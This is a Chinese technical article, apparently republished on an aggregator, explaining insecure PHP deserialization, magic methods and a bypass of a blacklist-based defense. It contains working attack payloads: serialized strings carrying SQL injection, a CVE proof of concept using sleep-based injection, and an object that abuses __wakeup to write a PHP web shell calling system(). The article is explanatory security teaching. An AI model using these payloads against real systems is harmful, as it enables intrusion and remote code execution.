PHP开发中的不安全反序列化

news2025/1/24 8:39:47

    序列化是开发语言中将某个对象转换为一串字节流的过程,转换后的字节流可以方便存储在数据库中,也可以方便在网络中进行传输。而反序列化则是将数据库取出的字节流或从网络上接收到的字节流反向转换为对象的过程。概念虽如此,但不同的开发语言的序列化和反序列化的过程又略有不同。    

    以下代码是PHP序列化和反序列化的简单示例:

    如果应用的反序列化字符串能够最终被用户操控,那么恶意攻击者可以操控序列化对象将恶意代码植入到应用中执行,从而造成诸如命令执行的漏洞。因此,应用开发中对不可信的输入来源如无必要不要做反序列化操作。   

   PHP的序列化基本类型如下表所示。

    以上文中的序列化输出为例:

O:3:"Car":3:{...}

   开头大写的O表示后面的字符串是对象类型,之后的3表示类名的长度(即Car的长度),最后的3表示类中属性的个数(即brand、model、year)。

s:5:"brand";s:6:"Toyota";

    这是Car类的第一个属性,包括属性名称和属性值,根据上面的序列化基本类型,s表示是字符串,5和6表示字符串长度,最后是字符串值。

s:5:"model";s:5:"Camry";

    同上,这是Car类的第二个属性,包括属性名称model和属性值Camry。

s:4:"year";i:2022;

    这是Car类的第三个属性,包括属性名称year和属性值2022,其中i表示整型类型,后续接数值2022。

    可见,字符串在序列化后是不会转义的,但上例中属性都是公有的(public),因此没有类名做前缀,如果是保护类型(protected),则会表示为\x00*\x00,如果是私有类型(private),则会表示为\x00Car\x00。

    假设上述序列化字符串的model属性存在注入漏洞,且该序列化字符串可被攻击者控制,那么攻击者可以构造类似下面的序列化字符串:

O:3:"Car":3:{s:5:"brand";s:6:"Toyota";s:5:"model";s:17:"Camry\' or 1=1 -- ";s:4:"year";i:2022;}

    CVE-2018-18702和CVE-2019-13292便是由于用户输入的内容经过反序列化之后执行数据库操作从而导致的SQL注入漏洞,因此CVSS评分高达9.8分。

    CVE-2019-13292构造的POC是:

echo base64_encode(serialize(["0" => "' or sleep(5) and '1'='1"]));

    实际场景中很少会有这么简单且直接的反序列化漏洞。这时攻击者可以利用PHP的魔法函数,魔法函数以双下划线开头,并会在反序列化被调用过程中执行。    PHP中的魔法函数包括:

__destruct:析构函数

__wakeup:反序列化时先被调用,而后再执行反序列化,用于准备对象需要的资源

__sleep:序列化时先被调用,而后再执行序列化,用于清理对象

__toString:类被当做字符串时调用,该方法必须返回字符串

__invoke:类被当做函数使用时调用

    比如下面的示例代码:

    上述代码的类对象序列化之后的结果是:

O:12:"Serialkiller":4:{s:24:"%00Serialkiller%00cache_file";s:16:"cache/john.cache";s:22:"%00Serialkiller%00log_file";s:13:"logs/john.log";s:21:"%00Serialkiller%00content";s:12:"Starting log";s:18:"%00Serialkiller%00user";s:4:"john";}

    因此,可以控制cache_file变量和log_file变量执行任意操作。比如利用__wakeup函数写入shell代码:

O:12:"Serialkiller":4:{s:24:"%00Serialkiller%00cache_file";s:5:"1.txt";s:22:"%00Serialkiller%00log_file";s:13:"logs/rce1.php";s:21:"%00Serialkiller%00content";s:24:"<?php%20system(%27ls%20~%27);%20?>";s:18:"%00Serialkiller%00user";s:4:"john";}

    在实际开发中,为了防止可能出现的反序列化漏洞有多种办法,其中一种是检查序列化字符串的类型。比如下面的代码:

<?php
function _safely_unserialize($input) {
 if (is_string($input) &&
   in_array(substr($input, 0, 1), array('a', 'O', 'b'))) {
   $input = "#" . $input;
 }

 return @unserialize($input);
}

_safely_unserialize($_POST['data']);?>
?>

    这段代码中,_safely_unserialize函数通过in_array方法判断用户可控的data参数是否是PHP序列化的三种类型,即数组(a)、对象(O)和布尔值(b),如果是其中之一的类型,则在字符串前增加#,从而导致在反序列化时造成反序列化失败,最终返回false值。该函数旨在判断序列化字符串是否是安全的,但判断方法仅仅是判断序列化类型。

    黑名单的过滤方式漏掉了PHP的另一种序列化对象类(C),因此可以构造类的序列化字符串绕过黑名单检查。    比如通过下述代码构造C开头的序列化字符串:

class obj implements Serializable {
 private $data;

 public function __construct() {
    $this->data = "My private data";
 }

 public function serialize() {
   return serialize($this->data);
 }

 public function unserialize($data) {
   $this->data = unserialize($data);
 }

 public function getData() {
   return $this->data;
 }
}

$obj = new obj;
$ser = serialize($obj);

var_dump($ser);

    从PHP 8.1版本开始,官方不再鼓励从Serializable类继承serialize()和unserialize(),而是建议直接使用魔术方法__serialize()和__unserialize(),但生成的序列化类型会是O。

class obj {
 public $message;

 public function __construct() {
    $this->message = "My private data";
 }

 public function __serialize() {
   return ['msg' => $this->message];
 }

  public function __unserialize(array $data) {
   $this->message = $data['msg'];
 }
}

$obj = new obj;
$ser = serialize($obj);

var_dump($ser);
var_dump(unserialize($ser));

作者:裴伟伟

2024年5月15日

洞源实验室

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1681271.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SerDes系列之电路技术概述

现在的高速电路设计中&#xff0c;SerDes的应用几乎无处不在&#xff0c;如下图所示的一款SoC&#xff0c;其外设接口除了少量普通的IO&#xff0c;几乎都是SerDes专用接口&#xff0c;因此&#xff0c;电路设计中对于SerDes接口电路的熟知程度&#xff0c;几乎就决定了设计的成…

[数据集][目标检测]电力场景电力目标检测数据集VOC+YOLO格式476张5类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;476 标注数量(xml文件个数)&#xff1a;476 标注数量(txt文件个数)&#xff1a;476 标注类别…

在Linux系统上使用nmcli命令配置各种网络(有线、无线、vlan、vxlan、路由、网桥等)

前言&#xff1a;原文在我的博客网站中&#xff0c;持续更新数通、系统方面的知识&#xff0c;欢迎来访&#xff01; 在Linux系统上使用nmcli命令配置各种网络&#xff08;有线、无线、vlan、vxlan等&#xff09;https://myweb.myskillstree.cn/123.html 更新于2024/5/13&…

在Python中防止某些字段被Pickle序列化

在Python中&#xff0c;如果你想防止某些字段被pickle序列化&#xff0c;可以使用__reduce__()方法来自定义pickle行为。__reduce__()方法允许你返回一个元组&#xff0c;其中包含要在对象被pickle时调用的函数以及传递给该函数的参数。下面就是我遇到的问题以及最终解决方案。…

银行风险系统的全面解析:功能作用与系统间的互联互通

银行风险管理系统是银行为控制风险而建立的一套重要系统&#xff0c;主要用于评估、监测和控制银行面临的各种风险&#xff0c;包括信用风险、市场风险、操作风险等。 一、主要功能 风险识别&#xff1a;系统首先识别在业务开展中可能会面临的各种风险。这通常涉及对客户信息、…

JSP+SQL学生成绩管理系统

Java版本&#xff1a;1.8 数据库&#xff1a;MySQL 框架&#xff1a;Spring Spring MVC MyBatis 服务器&#xff1a;Tomcat 前端解析框架&#xff1a;Thymeleaf 开发工具&#xff1a;Idea 2017 版本管理工具&#xff1a;Maven 版本控制工具&#xff1a;GitHub 经过对系统的需…

STM32HAL库-中断篇

中断 中断简介 中断是一种事件处理机制&#xff0c;可以暂停主程序的运行&#xff0c;转而处理特定事件程序。 中断的作用和意义&#xff1a; 实时控制 在确定事件内对响应事件做出相应 故障处理 检测到故障需要第一时间处理 数据传输 如串口通信&#xff0c;不确定数…

基于springboot+vue+Mysql的交流互动系统

开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;…

程序员的实用神器之——通义灵码

通义灵码介绍 “通义灵码”是一款基于阿里云通义代码大模型打造的智能编码助手&#xff0c;产品于2023年10月31日云栖大会上&#xff0c;正式对外发布。新手亦能驾轻&#xff0c;老手恒常运&#xff0c;唯手熟尔。 通义灵码产品介绍_智能编码助手_AI编程_云效(Apsara Devops)…

测试图像中的环与透镜效果。

我做了三张图片&#xff0c;发现我之前提出的环与带居然都存在。 这个图片的环不明显&#xff0c;需要放大才能看得出来&#xff0c;但是透镜效果&#xff0c;这里只能称之为带了。 这张图的环比较清晰&#xff0c;因为我做了更小的缩放。 制作环和带的过程是需要抗干扰&#…

Spring Boot 自动配置-响应式编程-022

🤗 ApiHug {Postman|Swagger|Api...} = 快↑ 准√ 省↓ GitHub - apihug/apihug.com: All abou the Apihug apihug.com: 有爱,有温度,有质量,有信任ApiHug - API design Copilot - IntelliJ IDEs Plugin | Marketplace The Next Generation API Development Platform…

【Unity-Timeline进度条显示与拖动】

利用Unity 自带的Timeline 可轻松实现场景的巡检漫游效果&#xff0c; 基本使用参考以下链接: Unity中的Timeline Unity学习笔记——TimeLine的简单使用方法&#xff08;一&#xff09; 这里主要介绍如何通过滑动条控制播放的进度&#xff0c;效果图附上。 话不多说&#xff…

上海亚商投顾:沪指低开低走 两市成交额跌破8000亿

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 一.市场情绪 市场全天震荡走低&#xff0c;三大股指尾盘均跌近1%。地产股逆势走强&#xff0c;光大嘉宝、天地源、云南城投…

数据库-索引(高级篇)

文章目录 索引概念&#xff1f;索引演示&#xff1f;索引的优劣&#xff1f;为什么使用索引就快&#xff1f;本篇小结 更多相关内容可查看 索引概念&#xff1f; 索引&#xff08;index&#xff09;是帮助MySQL高效获取数据的数据结构(有序)。在数据之外&#xff0c;数据库系统…

分布式与一致性协议之PBFT算法(一)

PBFT算法 概述 前面提到了拜占庭将军问题之后&#xff0c;有人可能会感到困惑:口信消息型拜占庭问题直接在实际项目中是如何落地的呢&#xff1f;事实上&#xff0c;它很难在实际项目中落地&#xff0c;因为口信消息型拜占庭问题之解是一个非常理论化的算法&#xff0c;没有与…

宝塔助手是以宝塔Linux面板提供的API开发的一款可以随时随地管理服务器的APP

【软件介绍】手机操控云服务器的神器软件&#xff0c;本人亲测在用&#xff0c;好用极了&#xff01; 【软件名称】宝塔助手 【软件包名】com.lensyn.zsbt 【软件版本】1.4.1 【软件大小】29.00M 【适用系统】安卓 【软件特色】宝塔助手是以宝塔Linux面板提供的API开发的一款可…

Unity 2021 升级至团结引擎

UnityWebRequest 报错 InvalidOperationException: Insecure connection not allowed 解决方法 不兼容jdk 8 需要安装 JDK11 64bit 必须JDK 11&#xff0c;高版本也不行 安卓环境hub 未给我安装完全。 Data\PlaybackEngines\AndroidPlayer 并没有NDK,SDK。但是 HUB 显示已经…

Maven 依赖排查

先从项目去看显而易见&#xff0c;假如我们有一个项目&#xff0c;父工程中包含一些子工程&#xff0c;如下&#xff1a; 我们想看一下samples-account中的依赖关系&#xff0c;那么我们可以打开 samples-account的pom文件&#xff0c;查看其maven依赖关系图。 我们可以看到此项…

【算法】基础算法005之位运算

&#x1f440;樊梓慕&#xff1a;个人主页 &#x1f3a5;个人专栏&#xff1a;《C语言》《数据结构》《蓝桥杯试题》《LeetCode刷题笔记》《实训项目》《C》《Linux》《算法》 &#x1f31d;每一个不曾起舞的日子&#xff0c;都是对生命的辜负 1.基础位运算 &&#xff1a;…

计算机丢失concrt140.dl是什么意思,concrt140.dll丢失的8个修复方法

concrt140.dll是一个核心的系统文件&#xff0c;属于Microsoft Visual C 2015 Redistributable组件集的一部分&#xff0c;其全称为并发运行时库&#xff08;Concurrency Runtime&#xff09;。此动态链接库&#xff08;DLL&#xff09;文件在Windows操作系统中扮演着至关重要的…